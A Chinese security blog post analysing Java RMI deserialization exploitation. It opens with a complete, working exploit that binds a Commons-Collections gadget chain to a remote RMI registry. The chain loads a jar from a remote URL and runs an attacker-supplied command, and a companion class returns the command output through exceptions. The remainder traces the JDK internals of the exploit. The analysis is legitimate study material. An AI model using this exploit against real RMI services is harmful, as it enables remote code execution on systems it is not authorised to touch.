JAVA RMI 反序列化流程原理分析

admin 2023年12月28日16:39:36评论38 views字数 7988阅读26分37秒阅读模式

扫码领资料

获网安教程

JAVA RMI 反序列化流程原理分析
JAVA RMI 反序列化流程原理分析

这篇文章主要用于学习 RMI 的反序列化利用的流程原理,在网上搜了一大堆的 RMI 利用资料,大多仅仅是讲的利用方法,没有找到到底为啥能这么用,即使有些涉及到一些原理的文章,也写得过于高端了....看不大懂,只能自己去跟一根整个利用流程,请各位大佬轻喷....


网上流传的基于报错回显的 payload

先抛出 rmi 反序列化的exp

本地:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

import java.net.URLClassLoader;

import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

import java.util.HashMap;
import java.util.Map;


public class RMIexploit {
public static Constructor<?> getFirstCtor(final String name)
throws Exception {
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
ctor.setAccessible(true);

return ctor;
}

public static void main(String[] args) throws Exception {
if (args.length < 4) {
System.out.println(
" Usage: java -jar RMIexploit.jar ip port jarfile command");
System.out.println(
" Example: java -jar RMIexploit.jar 123.123.123.123 1099 http://1.1.1.1.1/ErrorBaseExec.jar "ls -l"");

return;
}

String ip = args[0];
int port = Integer.parseInt(args[1]);
String remotejar = args[2];
String command = args[3];
final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";

try {
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(java.net.URLClassLoader.class),
new InvokerTransformer("getConstructor",
new Class[] { Class[].class },
new Object[] { new Class[] { java.net.URL[].class } }),
new InvokerTransformer("newInstance",
new Class[] { Object[].class },
new Object[] {
new Object[] {
new java.net.URL[] { new java.net.URL(remotejar) }
}
}),
new InvokerTransformer("loadClass",
new Class[] { String.class },
new Object[] { "exploit.ErrorBaseExec" }),
new InvokerTransformer("getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "do_exec", new Class[] { String.class } }),
new InvokerTransformer("invoke",
new Class[] { Object.class, Object[].class },
new Object[] { null, new String[] { command } })
};
Transformer transformedChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "value");

Map outerMap = TransformedMap.decorate(innerMap, null,
transformedChain);
Class cl = Class.forName(
"sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);

Object instance = ctor.newInstance(Target.class, outerMap);
Registry registry = LocateRegistry.getRegistry(ip, port);
InvocationHandler h = (InvocationHandler) getFirstCtor(ANN_INV_HANDLER_CLASS)
.newInstance(Target.class,
outerMap);
Remote r = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, h));
registry.bind("pwned", r);
} catch (Exception e) {
try {
System.out.print(e.getCause().getCause().getCause().getMessage());
} catch (Exception ee) {
throw e;
}
}
}
}

远程:

package exploit;

import java.io.*;

public class ErrorBaseExec {
public static byte[] readBytes(InputStream in) throws IOException {
BufferedInputStream bufin = new BufferedInputStream(in);
int buffSize = 1024;
ByteArrayOutputStream out = new ByteArrayOutputStream(buffSize);
byte[] temp = new byte[buffSize];
int size = 0;

while ((size = bufin.read(temp)) != -1) {
out.write(temp, 0, size);
}

bufin.close();

byte[] content = out.toByteArray();

return content;
}

public static void do_exec(String cmd) throws Exception {

final Process p = Runtime.getRuntime().exec(cmd);
final byte[] stderr = readBytes(p.getErrorStream());
final byte[] stdout = readBytes(p.getInputStream());
final int exitValue = p.waitFor();

if (exitValue == 0) {
throw new Exception("-----------------rn" + (new String(stdout)) + "-----------------rn");
} else {
throw new Exception("-----------------rn" + (new String(stderr)) + "-----------------rn");
}

}

public static void main(final String[] args) throws Exception {
do_exec("cmd /c dir");
}
}

首先就是,本地的可以直接在本地生成jar包使用,远程的是放在vps上等可以访问到的地方

这个exp其实很简单,仅仅是在 commons-collections 库反序列化exp的基础上,加了一点 rmi 的内容

整个exp只需要关注如下图的内容:

JAVA RMI 反序列化流程原理分析

registry 是从远程主机上获取到的一个注册表,然后他将 AnnotationInvocationHandler 的实例生成了一个 Remote 对象,最后在 registry 中绑定了一个新的远程服务( 这里也可以使用 rebind )

然后攻击就成功了,但是注意,这里是客户端去实施攻击的,服务端经过反序列化执行了恶意代码

rmi 的流程原理

先看一张图

JAVA RMI 反序列化流程原理分析

如上图,攻击方就是 RMI Client,能够猜到,反序列化的是 RMI Server
这里就很奇怪了,明明是 RMI Server 进行的 bind 或者是 rebind 操作,为啥 exp 里作为一个 RMI Client 也可以进行 bind 或者是 rebind ?

在网上搜了搜,都是在 RMI Server 里进行 bind 或是 rebind 的例子
(注:这里说的 Server 意思是指的创建了本机 RMI 注册表的机器)
(PS:或许我该去查查官方文档的 - - )

没找到相关资料,就只能硬怼了

提前放出整个反序列化报错回显的流程:

JAVA RMI 反序列化流程原理分析

首先,RMI server 创建、获取 Registry 的方式如下:

JAVA RMI 反序列化流程原理分析

这里的 createRegistry 返回的是一个 RegistryImpl,好,先放着

我们再来看下 RMI Client 获取 Registry 的方式如下:

JAVA RMI 反序列化流程原理分析

这里返回的是一个 RegistryImpl_Stub
那么我又去看了一下,这两个类的 bind 函数,其流程完全不同

RegistryImpl 如下:

JAVA RMI 反序列化流程原理分析

这里的 bindings 是一个 hashtable ,只是将 Remote 对象放进去就完了

RegistryImpl 就不用管了,是创建 rmi 注册表的本机里的操作,我们不可控的,继续跟入 RegistryImpl_Stub 里

RMI Client 的 RegistryImpl_Stub

RegistryImpl_Stub 如下:

JAVA RMI 反序列化流程原理分析


var3 是一个 StreamRemoteCall 对象,其 getOutputStream 返回的是一个 ConnectionOutputStream 对象,那么这里从 var4 的操作来看,不就是开始进行远程通信了嘛.....

注意这里的 opnum 参数 !

我们可以思考一下,这里既然已经开始通信,那么对应的服务端肯定也在开始根据某些规则进行某些行为,这是在 bind 函数中的,那么对应的服务器端也会执行 bind 的操作,服务端待会儿再说,有一个问题就是,在上图中看见的仅仅是将需要 bind 的 Remote 对象发过去了,那服务器怎么知道我是 bind 还是 unbind 的?

这里就退到 newCall 的时候,跟进去看看

JAVA RMI 反序列化流程原理分析

在得到 var6 之前,newConnection 函数运行的流程中就已经开始了与服务器的通信
注意到 var3 、 var4 都是直接传进 StreamRemoteCall 的构造函数,继续跟进它的构造函数

JAVA RMI 反序列化流程原理分析

最开始是写入了 80 (其实在此之前还有一些信息的发送,但是我们并不用太关心),接着getOutputStream 就是给 this.out 赋值了 ConnectionOutputStream 对象,是可以直接发送数据的,然后它将 var3 、 var4 都提前发了过去,后面才向服务端发送的是需要 bind 的 name 和 Remote 对象

回到 bind 函数中,这时候还剩下 invoke 和 done 函数没跑完

先看看 invoke

JAVA RMI 反序列化流程原理分析

var1 就是刚刚 new 出来的 StreamRemoteCall ,跟进去看 executeCall
由于函数体太长,只截取关键部分

JAVA RMI 反序列化流程原理分析

这里能看出来是在接受服务端的返回信息,var1 是读取了一个 byte,那么返回值为 1 应该是 success,因为啥也不返回。值为2的时候比较奇怪,反序列化后居然判断是否是一个异常,emmm,看来接受的应该是服务端的异常,default 的情况应该是返回值错误

现在回想 ErrorBaseExec 这个远程利用类里的代码:

JAVA RMI 反序列化流程原理分析

都是将结果直接抛出异常的形式带回,那么结合着之前所述,应该在返回值为 2 的时候被接受了,那么跟进 exceptionReceivedFromServer 看看

JAVA RMI 反序列化流程原理分析

最后还是将异常抛出了,这个来自服务端的异常最后将会被客户端的 bind 函数打印出来,所以这就理解了远程利用代码里,会直接将命令执行的结果以异常的形式抛出,因为这样就可以获得命令回显....

bind 函数中调用的 done 函数就不展示了,仅仅是清理缓冲区、释放连接啥的

RMI Server 的 RegistryImpl

目前仅仅是分析了 payload 从客户端发送到服务端,以及收到了服务端的返回信息

该去看看服务端,是如何接收到客户端的 payload 的,如何进行信息的返回

rmi 服务端的设计更复杂一些,之前一直在反编译jdk7_079的class文件,但是这样很不好跟踪,所以索性直接看 jdk 源码

服务端就必须得从创建 rmi 注册表开始跟了,如下图:

JAVA RMI 反序列化流程原理分析

前面讲过,这里返回的是一个 RegistryImpl ,跟进构造函数

JAVA RMI 反序列化流程原理分析

var1 代表的是选择的开放端口,接着将 LiveRef 装进 UnicastServerRef 并带入了 setup 函数中,跟进去

JAVA RMI 反序列化流程原理分析

将自身(RegistryImpl)传入了 UnicastServerRef 的 exportObject中,跟进去

JAVA RMI 反序列化流程原理分析

var5 是一个根据 var4 的类名生成的一个 RemoteStub ,因为传入的 var1 实际上是 RegistryImpl ,那么 var5 就是 RegistryImpl_Stub ,所以上图中的 if 条件是满足的

Skeleton 也是 rmi 中非常重要的一个模块

上图中的 setSkelenton 就是根据 var1 的类名实例化一个 Skeleton,那么生成的就是 RegistryImpl_Skel。 实例化的 Target 中包含了所有重要的事物,包含了新生成的 RegistryImpl,这将是处理 RMI Client 通信请求的具体操作类。函数流程中,接着调用了之前实例化的 LiveRef 中 exportObject 函数

JAVA RMI 反序列化流程原理分析

这里的 ep 是一个根据指定开放端口实例化的 TCPEndpoint ,继续跟,期间跟了好几个 exportObject 函数,最终来到了 TCPTransport 类中

JAVA RMI 反序列化流程原理分析

看见 listen ,感觉是开始监听端口什么的了,跟进去看看

JAVA RMI 反序列化流程原理分析

跑起了 TCPTransport.AcceptLoop 的线程,看看 run

JAVA RMI 反序列化流程原理分析

跟进 executeAcceptLoop

JAVA RMI 反序列化流程原理分析

如图,服务端接收到连接后,实例化 ConnectionHandler 并跑起线程

看看 ConnectionHandler 的 run

JAVA RMI 反序列化流程原理分析

继续跑 run0,跟进去
函数体太长,只截取关键部分

JAVA RMI 反序列化流程原理分析

跟进 handleMessages 函数

JAVA RMI 反序列化流程原理分析

我们只需要关注 80 的时候,因为之前客户端在实例化 StreamRemoteCall 过程中,写入的就是 80

调用了 serviceCall ,并传入了一个新的 StreamRemoteCall ,跟进去看看

JAVA RMI 反序列化流程原理分析

这里我们跟着 var1 的流程就好

调用了 UnicastServerRef 的 dispatch 函数,跟进去

JAVA RMI 反序列化流程原理分析

盯着 var2 不放,可见之前客户端通信的内容,正在一步步的控制服务端的执行流程

回忆一下,客户端的通信内容如下:

JAVA RMI 反序列化流程原理分析

先发过去的是 int 0,然后就是一个 Long

那么对应的,var3 应该为 0,跟入 oldDispatch

JAVA RMI 反序列化流程原理分析

var3 、 var4 分别是之前的 int 0 和一个 Long,这里的 skel 就是之前实例化的 RegistryImpl_Skel ,跟进它的 dispatch 函数

JAVA RMI 反序列化流程原理分析

var3 == 0,然后直接 var11 就反序列化获取了 name 和 Remote 对象,这里的 case 0 仅仅是 bind 的对应的操作码,那么还有些其他操作对应的操作码,如下:

  • 0 -> bind

  • 1 -> list

  • 2 -> lookup

  • 3 -> rebind

  • 4 -> unbind

此处的 var6 变量就是之前 RMI Server 新生成的 RegistryImpl 对象,所以在以上 5 中操作过程中,其实际上都是操作的 RMI Server 的 RegistryImpl

然后因为在 payload 里命令执行完成后,直接抛出的异常并带入命令执行结果,所以在 Proxy 成员 invocationHandler 反序列化的过程中(也就是在 readObject 的过程中),直接抛错了,并带回 RMI 客户端,形成利用报错回显命令执行结果

我们可以继续看看抛出异常后的情况
被 IOException 抓住后,继续抛出 UnmarshalException,跳回 oldDespatch 中
在 oldDespatch 中的异常处理流程如下图:

JAVA RMI 反序列化流程原理分析

先获取了 ObjectOuput 然后用 ServerException 包装一下,最后将异常反馈给 RMI Client
第一个红框里, getResultStrem 带入的参数是 false ,跟进去看看

JAVA RMI 反序列化流程原理分析

var1 为 false ,进入 else 条件,在传送回 Client 异常前,写回一个 2
这里就和之前在 RMI Client 中分析的吻合了,如果 Client 中得到的是 2 的返回,那么回接受来自 Server 的异常并将其打印


整个流程已经全部梳理完,有啥叙述不清、错误的地方欢迎指出~

参考资料:
http://www.freebuf.com/vuls/126499.html
https://blog.csdn.net/sinat_34596644/article/details/52599688
https://blog.csdn.net/guyuealian/article/details/51992182
http://blog.nsfocus.net/java-deserialization-vulnerability-overlooked-mass-destruction/
https://blog.csdn.net/lovejj1994/article/details/78080124

来源: https://xz.aliyun.com/t/2223

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

@

原文始发于微信公众号(白帽子左一):JAVA RMI 反序列化流程原理分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月28日16:39:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JAVA RMI 反序列化流程原理分析https://cn-sec.com/archives/2343048.html

发表评论

匿名网友 填写信息